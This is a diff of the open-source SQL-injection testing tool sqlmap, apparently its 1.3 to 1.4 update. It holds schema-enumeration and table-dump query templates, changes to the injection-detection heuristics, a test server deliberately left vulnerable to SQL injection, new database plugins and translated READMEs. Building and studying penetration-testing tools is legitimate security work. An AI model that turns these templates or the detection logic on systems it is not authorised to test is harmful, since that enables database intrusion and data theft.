+        <tables>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
+            <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name OFFSET %d FETCH 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT %s FROM %s ORDER BY %s OFFSET %d FETCH 1" count="SELECT COUNT(*) FROM %s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' ORDER BY table_name" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
 </root>
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,3 +1,8 @@
+# Version 1.4 (2020-01-01)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
+
 # Version 1.3 (2019-01-05)

 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
--- a/doc/translations/README-fa-IR.md
+++ b/doc/translations/README-fa-IR.md
@@ -0,0 +1,84 @@
+# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
+
+
+<div dir=rtl>
+
+
+
+برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند.
+
+
+عکس
+----
+
+
+<div dir=ltr>
+
+
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+
+<div dir=rtl>
+
+برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید.
+
+
+نصب
+----
+
+برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
+
+
+طرز استفاده
+----
+
+
+برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
+
+
+
+<div dir=ltr>
+
+
+```
+    python sqlmap.py -h
+```
+
+    
+    
+    
+<div dir=rtl>
+    
+    
+برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید:
+
+<div dir=ltr>
+
+    
+```
+    python sqlmap.py -hh
+```
+    
+    
+<div dir=rtl>
+    
+
+برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
+
+
+لینک‌ها
+----
+
+
+* خانه: http://sqlmap.org
+* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
+* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
+* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* تویتر: [@sqlmap](https://twitter.com/sqlmap)
+* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
--- a/doc/translations/README-pt-BR.md
+++ b/doc/translations/README-pt-BR.md
@@ -2,7 +2,7 @@

 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)

-sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
+sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.

 Imagens
 ----
--- a/extra/init.py
+++ b/extra/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/extra/beep/init.py
+++ b/extra/beep/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound

-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/extra/cloak/init.py
+++ b/extra/cloak/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility

-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/extra/dbgtool/init.py
+++ b/extra/dbgtool/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter

-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
 #!/bin/bash

-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Removes trailing spaces from blank lines inside project files
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,6 +1,6 @@
 #!/bin/bash

-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Stress test against Python3
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
 #!/usr/bin/env python

-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Removes duplicate entries in wordlist like files
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
 #!/bin/bash

-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
--- a/extra/shutils/modernize.sh
+++ b/extra/shutils/modernize.sh
@@ -1,6 +1,6 @@
 #!/bin/bash

-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # sudo pip install modernize
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
 #!/bin/bash

-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,6 +1,6 @@
 #!/bin/bash

-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Runs py2diatra on all python files (prerequisite: pip install pydiatra)
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,7 +1,7 @@
 #!/bin/bash

-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
-find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
+find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'"
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -132,13 +132,13 @@ To get a list of basic options and switches use:

 ::

-    python sqlmap.py -h
+    sqlmap -h

 To get a list of all options and switches use:

 ::

-    python sqlmap.py -hh
+    sqlmap -hh

 You can find a sample run `here <https://asciinema.org/a/46601>`__. To
 get an overview of sqlmap capabilities, list of supported features and
--- a/extra/vulnserver/init.py
+++ b/extra/vulnserver/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,7 +3,7 @@
 """
 vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)

-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -191,8 +191,27 @@ class ReqHandler(BaseHTTPRequestHandler):
        length = int(self.headers.get("Content-length", 0))
        if length:
            data = self.rfile.read(length)
-            data = unquote_plus(data.decode(UNICODE_ENCODING))
+            data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
            self.data = data
+        elif self.headers.get("Transfer-encoding") == "chunked":
+            data, line = b"", b""
+            count = 0
+
+            while True:
+                line += self.rfile.read(1)
+                if line.endswith(b'\n'):
+                    if count % 2 == 1:
+                        current = line.rstrip(b"\r\n")
+                        if not current:
+                            break
+                        else:
+                            data += current
+
+                    count += 1
+                    line = b""
+
+            self.data = data.decode(UNICODE_ENCODING, "ignore")
+
        self.do_REQUEST()

    def log_message(self, format, *args):
--- a/lib/init.py
+++ b/lib/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/controller/init.py
+++ b/lib/controller/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -54,6 +54,7 @@ from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
+from lib.core.dicts import HEURISTIC_NULL_EVAL
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -97,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData
+from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
@@ -519,8 +521,6 @@ def checkSqlInjection(place, parameter, value):
                                except (MemoryError, OverflowError):
                                    pass

-                            kb.prevFalsePage = falsePage
-
                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
@@ -882,13 +882,14 @@ def heuristicCheckDbms(injection):

    for dbms in getPublicTypeMembers(DBMS, True):
        randStr1, randStr2 = randomStr(), randomStr()
+
        Backend.forceDbms(dbms)

-        if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
+        if (randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1:
            continue

        if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
-            if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
+            if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                retVal = dbms
                break

--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -58,6 +58,7 @@ from lib.core.enums import NOTE
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapBaseException
+from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
@@ -307,11 +308,20 @@ def start():
                    warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
                    dataToStdout(warnMsg)

-                    while not checkInternet():
-                        dataToStdout('.')
-                        time.sleep(5)
+                    valid = False
+                    for _ in xrange(conf.retries):
+                        if checkInternet():
+                            valid = True
+                            break
+                        else:
+                            dataToStdout('.')
+                            time.sleep(5)

-                    dataToStdout("\n")
+                    if not valid:
+                        errMsg = "please check your Internet connection and rerun"
+                        raise SqlmapConnectionException(errMsg)
+                    else:
+                        dataToStdout("\n")

            conf.url = targetUrl
            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
@@ -456,18 +466,18 @@ def start():
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
-                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
-                    skip |= (place == PLACE.REFERER and conf.level < 3)
+                    skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
+                    skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))

                    # --param-filter
                    skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)

                    # Test Host header only if
                    # --level >= 5
-                    skip |= (place == PLACE.HOST and conf.level < 5)
+                    skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))

                    # Test Cookie header only if --level >= 2
-                    skip |= (place == PLACE.COOKIE and conf.level < 2)
+                    skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -11,47 +11,68 @@ from lib.core.data import kb
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
 from lib.core.exception import SqlmapConnectionException
+from lib.core.settings import ACCESS_ALIASES
+from lib.core.settings import ALTIBASE_ALIASES
+from lib.core.settings import DB2_ALIASES
+from lib.core.settings import DERBY_ALIASES
+from lib.core.settings import FIREBIRD_ALIASES
+from lib.core.settings import H2_ALIASES
+from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES
+from lib.core.settings import MAXDB_ALIASES
+from lib.core.settings import MCKOI_ALIASES
+from lib.core.settings import MIMERSQL_ALIASES
+from lib.core.settings import MONETDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
 from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import PRESTO_ALIASES
 from lib.core.settings import SQLITE_ALIASES
-from lib.core.settings import ACCESS_ALIASES
-from lib.core.settings import FIREBIRD_ALIASES
-from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
-from lib.core.settings import DB2_ALIASES
-from lib.core.settings import HSQLDB_ALIASES
-from lib.core.settings import H2_ALIASES
-from lib.core.settings import INFORMIX_ALIASES
+from lib.core.settings import VERTICA_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy

-from plugins.dbms.mssqlserver import MSSQLServerMap
-from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
-from plugins.dbms.mysql import MySQLMap
-from plugins.dbms.mysql.connector import Connector as MySQLConn
-from plugins.dbms.oracle import OracleMap
-from plugins.dbms.oracle.connector import Connector as OracleConn
-from plugins.dbms.postgresql import PostgreSQLMap
-from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
-from plugins.dbms.sqlite import SQLiteMap
-from plugins.dbms.sqlite.connector import Connector as SQLiteConn
-from plugins.dbms.access import AccessMap
 from plugins.dbms.access.connector import Connector as AccessConn
-from plugins.dbms.firebird import FirebirdMap
-from plugins.dbms.firebird.connector import Connector as FirebirdConn
-from plugins.dbms.maxdb import MaxDBMap
-from plugins.dbms.maxdb.connector import Connector as MaxDBConn
-from plugins.dbms.sybase import SybaseMap
-from plugins.dbms.sybase.connector import Connector as SybaseConn
-from plugins.dbms.db2 import DB2Map
+from plugins.dbms.access import AccessMap
+from plugins.dbms.altibase.connector import Connector as AltibaseConn
+from plugins.dbms.altibase import AltibaseMap
 from plugins.dbms.db2.connector import Connector as DB2Conn
-from plugins.dbms.hsqldb import HSQLDBMap
-from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
-from plugins.dbms.h2 import H2Map
+from plugins.dbms.db2 import DB2Map
+from plugins.dbms.derby.connector import Connector as DerbyConn
+from plugins.dbms.derby import DerbyMap
+from plugins.dbms.firebird.connector import Connector as FirebirdConn
+from plugins.dbms.firebird import FirebirdMap
 from plugins.dbms.h2.connector import Connector as H2Conn
-from plugins.dbms.informix import InformixMap
+from plugins.dbms.h2 import H2Map
+from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.informix.connector import Connector as InformixConn
+from plugins.dbms.informix import InformixMap
+from plugins.dbms.maxdb.connector import Connector as MaxDBConn
+from plugins.dbms.maxdb import MaxDBMap
+from plugins.dbms.mckoi.connector import Connector as MckoiConn
+from plugins.dbms.mckoi import MckoiMap
+from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
+from plugins.dbms.mimersql import MimerSQLMap
+from plugins.dbms.monetdb.connector import Connector as MonetDBConn
+from plugins.dbms.monetdb import MonetDBMap
+from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
+from plugins.dbms.mssqlserver import MSSQLServerMap
+from plugins.dbms.mysql.connector import Connector as MySQLConn
+from plugins.dbms.mysql import MySQLMap
+from plugins.dbms.oracle.connector import Connector as OracleConn
+from plugins.dbms.oracle import OracleMap
+from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
+from plugins.dbms.postgresql import PostgreSQLMap
+from plugins.dbms.presto.connector import Connector as PrestoConn
+from plugins.dbms.presto import PrestoMap
+from plugins.dbms.sqlite.connector import Connector as SQLiteConn
+from plugins.dbms.sqlite import SQLiteMap
+from plugins.dbms.sybase.connector import Connector as SybaseConn
+from plugins.dbms.sybase import SybaseMap
+from plugins.dbms.vertica.connector import Connector as VerticaConn
+from plugins.dbms.vertica import VerticaMap

 def setHandler():
    """
@@ -73,6 +94,13 @@ def setHandler():
        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
        (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
+        (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
+        (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
+        (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
+        (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
+        (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
+        (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
+        (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
    ]

    _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
--- a/lib/core/init.py
+++ b/lib/core/init.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -13,6 +13,7 @@ from lib.core.common import filterNone
 from lib.core.common import getSQLSnippet
 from lib.core.common import getTechnique
 from lib.core.common import getTechniqueData
+from lib.core.common import hashDBRetrieve
 from lib.core.common import isDBMSVersionAtLeast
 from lib.core.common import isNumber
 from lib.core.common import isTechniqueAvailable
@@ -34,6 +35,8 @@ from lib.core.data import queries
 from lib.core.dicts import DUMP_DATA_PREPROCESS
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
+from lib.core.enums import FORK
+from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
@@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
